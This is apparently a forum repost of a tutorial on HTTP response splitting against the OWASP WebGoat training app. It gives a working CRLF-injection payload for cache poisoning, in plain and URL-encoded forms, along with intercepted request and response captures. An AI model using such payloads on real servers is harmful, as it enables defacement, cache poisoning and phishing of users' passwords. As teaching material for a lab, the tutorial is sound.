Jump to content
begood

tutorial http splitting attack (Owasp webgoat)

Recommended Posts

Posted

Http splitting is a website attack. It involves an injection of a Http request into a form to force the target server to return two answers instead of one. It is possible due to the redirection of a request (code 3xx, "set-cookie" or "Location") without checking illegal characters. This article describes this attack and the Owasp WebGoat training platform.

A french version of this article is also available.

description

In a normal operation, each client sends an Http request, and the server responds.

File?id=dg23j87b_181ctgrfhgs_b

With an http splitting attack, an attacker fills the form with malformed datas (textField). The server then sends back two responses, one of which was created by the attacker.

File?id=dg23j87b_180dt8vghd3_b

File?id=dg23j87b_1826bdqbjqh_b

exploitation

this technique allows:

cache poisoning

the attacker sends two requests, a first malformed one and a second valid one. The server sends back two responses from the first request, and a third one from the second request. The server cache makes an association between the second request (created by the attacker) and the second request (valid). The attacker can obtain a defacement of the website.

File?id=dg23j87b_184g8b4wvc8_b

next generation phishing

This is a special case of the previous cache poisoning technique. The attacker choses, in his second request, a password form webpage. He puts a copy of this page in his first request . This page redirects the request to a server controled by the attacker. The vulnerable server caches this page for further requests.

As a result, when a victim asks later for the server password webpage, she is instead redirected to the attacker webpage (phishing). The attacker can store the victim pasword.

webpage hijacking

The next step of attacks is the hijacking of webpages containing user datas, when a (not vulnerable) proxy is placed between the vulnerable server and the client.

The attacker sends a malformed request (1) to the proxy.

The proxy redirects the malformed request (1) to the server. The server sends back the two splitted responses (1) and (2) to the proxy.

A victim sends a regular request (3) to the server through the proxy. The proxy sends immediatly the response (2) as the response to this request. The server sends the response to the request (3) to the proxy. This response holds user's personal data.

The attacker sends another request (4) to the proxy. The proxy immediatly sends to the attacker the response (3).

File?id=dg23j87b_185gwsjx3cv_b

method

For an illustration of the method, please see Yehg video([9]) and Ajax blog ([6]).

In this example we conduct a cache poisoning attack. Here is the injected text:

"Content-Length: 0

HTTP/1.1 200 OK

Last-Modified: Fri, 31 Dec 2099 23:59:59 GMT

coucou"

When this text is encoded in http, replace:

- ":" by %3A

- "space" by %20

- "carriage return" by %0A

- "," by %2c

- "/" by %2F

- "<" by %3C

- ">" by %3E

result in http:

"Content-Length%3A%200%0A%0AHTTP%2F1.1%20200%20OK%0ALast-Modified%3A%20Fri%2C%2031%20Dec%202099%2023%3A59%3A59%20GMT%0A%3Chtml%3E%0Acoucou%3C%2Fhtml%3E"

replace every %0A by %0A%0D:

"Content-Length%3A%200%0D%0A%0D%0AHTTP%2F1.1%20200%20OK%0D%0ALast-Modified%3A%20Fri%2C%2031%20Dec%202099%2023%3A59%3A59%20GMT%0D%0A%3Chtml%3E%0D%0Acoucou%3C%2Fhtml%3E"

To encode en replace %0A, let's use PHP charset encoder http://h4k.in/encoding/ (cf Yegh video [9]).

explanations

This technique needs a redirection of pages:

Remember: with this method, the server must put data entered by the attacker in the header of a redirected request ( code 3xx, "Set-Cookie" or "Location" fields):

In the http protocol, with a redirection, data are put in the header of the new redirected request [3].

usually, they are in header's fields "Set-Cookie" or "Location".

Why %0d%0a?

CR = Carriage return ( %0d or \r or ASCII 13)

LF = Line Feed (%0a or \n or ASCII 10)

http is built as follow:

- initial line, ends with CRLF

- header lines, ends with CRLF

- blank line (= CRLF)

- body.

As our string must be interpreted as an http request we replace LF by CRLF.

Why a cache poisoning?

Response from server contains line Last-Modified, with date defined as 2099.

HTTP/1.1 200 OK

Last-Modified: Fri, 31 Dec 2099 23:59:59 GMT

coucou

this page is associated with any further request to the server: As its date is bigger than the current date, it is never replaced by a newer one.

What happen on server side?

Let's use the example given with WebGoat. Let's intercept http requests with WebScarab:

File?id=dg23j87b_187dgp4vmhz_b

Write "essai" in textfield

File?id=dg23j87b_190fjm24ps8_b

The request sent to Server (A) is:

POST HTTP/1.1

Host: localhost

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: fr,fr-fr;q=0.8,en-us;q=0.5,en;q=0.3

Accept-Encoding: gzip,deflate

Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7

Keep-Alive: 300

Proxy-Connection: keep-alive

Referer:

Cookie: JSESSIONID=93E6CFEC40001E4F08A62D2B3467ECCE

Content-Type: application/x-www-form-urlencoded

Content-length: 31

Authorization: Basic Z3Vlc3Q6Z3Vlc3Q=

language=essai&SUBMIT=Search%21

redirection response (302) received from server (A) is:

HTTP/1.1 302 Déplacé Temporairement

Server: Apache-Coyote/1.1

Location: &fromRedirect=yes&language=essai

Content-Type: text/html;charset=ISO-8859-1

Content-length: 0

Date: Sat, 19 Dec 2009 17:12:27 GMT

result:

- this response is a redirection (status code 302),

- our string is put in field "Location" of the header

Server (A) redirects the request to server (B):

GET HTTP/1.1

Host: localhost

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: fr,fr-fr;q=0.8,en-us;q=0.5,en;q=0.3

Accept-Encoding: gzip,deflate

Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7

Keep-Alive: 300

Proxy-Connection: keep-alive

Referer: &Restart=3

Cookie: JSESSIONID=93E6CFEC40001E4F08A62D2B3467ECCE

Authorization: Basic Z3Vlc3Q6Z3Vlc3Q=

Response from server (B) shows the resulting page. Here it is (trunkated):

HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Pragma: No-cache

Cache-Control: no-cache

Expires: Thu, 01 Jan 1970 01:00:00 CET

Content-Type: text/html;charset=ISO-8859-1

X-Transfer-Encoding: chunked

Date: Sat, 19 Dec 2009 17:37:46 GMT

Content-length: 33406

<.!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<.html xmlns="http://www.w3.org/1999/xhtml">

<.head>

<.meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1" />

<.title>HTTP Splitting

<.link rel= (...) />

<.script language= (...)

<.body class="page" (...)

Now inject malformed request:

File?id=dg23j87b_188cx86kfhk_b

File?id=dg23j87b_192hc5vrrdw_b

Request from client to server (A) is:

POST HTTP/1.1

Host: localhost

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: fr,fr-fr;q=0.8,en-us;q=0.5,en;q=0.3

Accept-Encoding: gzip,deflate

Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7

Keep-Alive: 300

Proxy-Connection: keep-alive

Referer:

Cookie: JSESSIONID=93E6CFEC40001E4F08A62D2B3467ECCE

Content-Type: application/x-www-form-urlencoded

Content-length: 251

Authorization: Basic Z3Vlc3Q6Z3Vlc3Q=

language=Content-Length%253A%25200%250D%250A%250D%250AHTTP%252F1.1%2520200%2520OK%250D%250ALast-Modified%253A%2520Fri%252C%252031%2520Dec%25202099%252023%253A59%253A59%2520GMT%250D%250A%253Chtml%253E%250D%250Acoucou%253C%252Fhtml%253E&SUBMIT=Search%21

Redirection response (302) receivd from server (A) is:

HTTP/1.1 302 Déplacé Temporairement

Server: Apache-Coyote/1.1

Location: &fromRedirect=yes&language=Content-Length%3A%200%0D%0A%0D%0AHTTP%2F1.1%20200%20OK%0D%0ALast-Modified%3A%20Fri%2C%2031%20Dec%202099%2023%3A59%3A59%20GMT%0D%0A%3Chtml%3E%0D%0Acoucou%3C%2Fhtml%3E

Content-Type: text/html;charset=ISO-8859-1

Content-length: 0

Date: Sat, 19 Dec 2009 17:26:09 GMT

Server (A) "believes" it redirects request to server (B):

GET %0D%0A%0D%0AHTTP%2F1.1%20200%20OK%0D%0ALast-Modified%3A%20Fri%2C%2031%20Dec%202099%2023%3A59%3A59%20GMT%0D%0A%3Chtml%3E%0D%0Acoucou%3C%2Fhtml%3E HTTP/1.1

Host: localhost

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: fr,fr-fr;q=0.8,en-us;q=0.5,en;q=0.3

Accept-Encoding: gzip,deflate

Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7

Keep-Alive: 300

Proxy-Connection: keep-alive

Referer: &Restart=3

Cookie: JSESSIONID=93E6CFEC40001E4F08A62D2B3467ECCE

Authorization: Basic Z3Vlc3Q6Z3Vlc3Q=

This response is encapsulated by http protocol in TCP datagrams as follow:

* empty redirection request sent to server (B)

GET

* end of the request

%0D%0A

%0D%0A

* response sent in current TCP session (to attacker)

HTTP%2F1.1%20200%20OK%0D%0ALast-Modified%3A%20Fri%2C%2031%20Dec%202099%2023%3A59%3A59%20GMT%0D%0A%3Chtml%3E%0D%0Acoucou%3C%2Fhtml%3E

* data rejected (not compatible with http protocol):

HTTP/1.1

Host: localhost

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: fr,fr-fr;q=0.8,en-us;q=0.5,en;q=0.3

Accept-Encoding: gzip,deflate

Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7

Keep-Alive: 300

Proxy-Connection: keep-alive

Referer: &Restart=3

Cookie: JSESSIONID=93E6CFEC40001E4F08A62D2B3467ECCE

Authorization: Basic Z3Vlc3Q6Z3Vlc3Q=

- and here is the second message sent by server (A) to attacker:

HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Pragma: No-cache

Cache-Control: no-cache

Expires: Thu, 01 Jan 1970 01:00:00 CET

Content-Type: text/html

X-Transfer-Encoding: chunked

Date: Sat, 19 Dec 2009 17:28:10 GMT

Content-length: 21

coucou

remarks

- Splitting attacks can be logged by target site if they are sent with GET method. Usually, it is not the case as attackers should prefer using POST requests ([2], page 24).

- splitting attack defacement is not detected by anti-defacement IDS. Indeed, these IDS alayse usually static pages, and not the cache.

- This attack is possible because of 1.1 http version. Http 1.1 allows client and server to exchange multiple requests in a same TCP session. Before, Http 1.0 needed a TCP connexion for each http exchange.

Tools

java-JRE http://www.java.com/fr/download/

OWasp WebGoat http://www.owasp.org/index.php/Category:OWASP_WebGoat_Project

PHP charset encoder http://h4k.in/encoding/

references

1) Wikipedia - Http response splitting - http://en.wikipedia.org/wiki/HTTP_response_splitting

2) Sanctum Inc, Http response Splitting whitepaper - http://www.packetstormsecurity.org/papers/general/whitepaper_httpresponse.pdf

3) James Marshall - Http made really easy - http://www.jmarshall.com/easy/http/#structure

4) Web application security consorsium - Http response splitting - http://www.webappsec.org/projects/threat/classes/http_response_splitting.shtml

5) Securiteam - http response splitting - http://www.securiteam.com/securityreviews/5WP0E2KFGK.html

6) Ajax - Séparation de réponse http - http://blog.4j4x.net/?p=15

7) publication du CERT-IST - les attaques de type "http response splitting" http://www.cert-ist.com/fra/ressources/Publications_ArticlesBulletins/Veilletechnologique/HTTP_spliting/

8) OWasp - Http response splitting - http://www.owasp.org/index.php/HTTP_Response_Splitting

9) yehg - vidéo décrivant une exploitation de http splitting attack - http://yehg.net/lab/pr0js/training/webgoat.php

9) MISC n°24 - http://www.unixgarden.com/index.php/administration-reseau/smuggling-et-splitting-du-html

source : http://infond.blogspot.com/2010/04/tutorial-http-splitting-attack-with.html

Posted (edited)

OK tested , if you use Unix or Linux must replace any %0d with %a

Windows uses a CR and LF for new Line, Linux uses only LF

Use also burpsuite or webscarab to intercept the session , you will see what really happen behind all this

Edited by pyth0n3

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...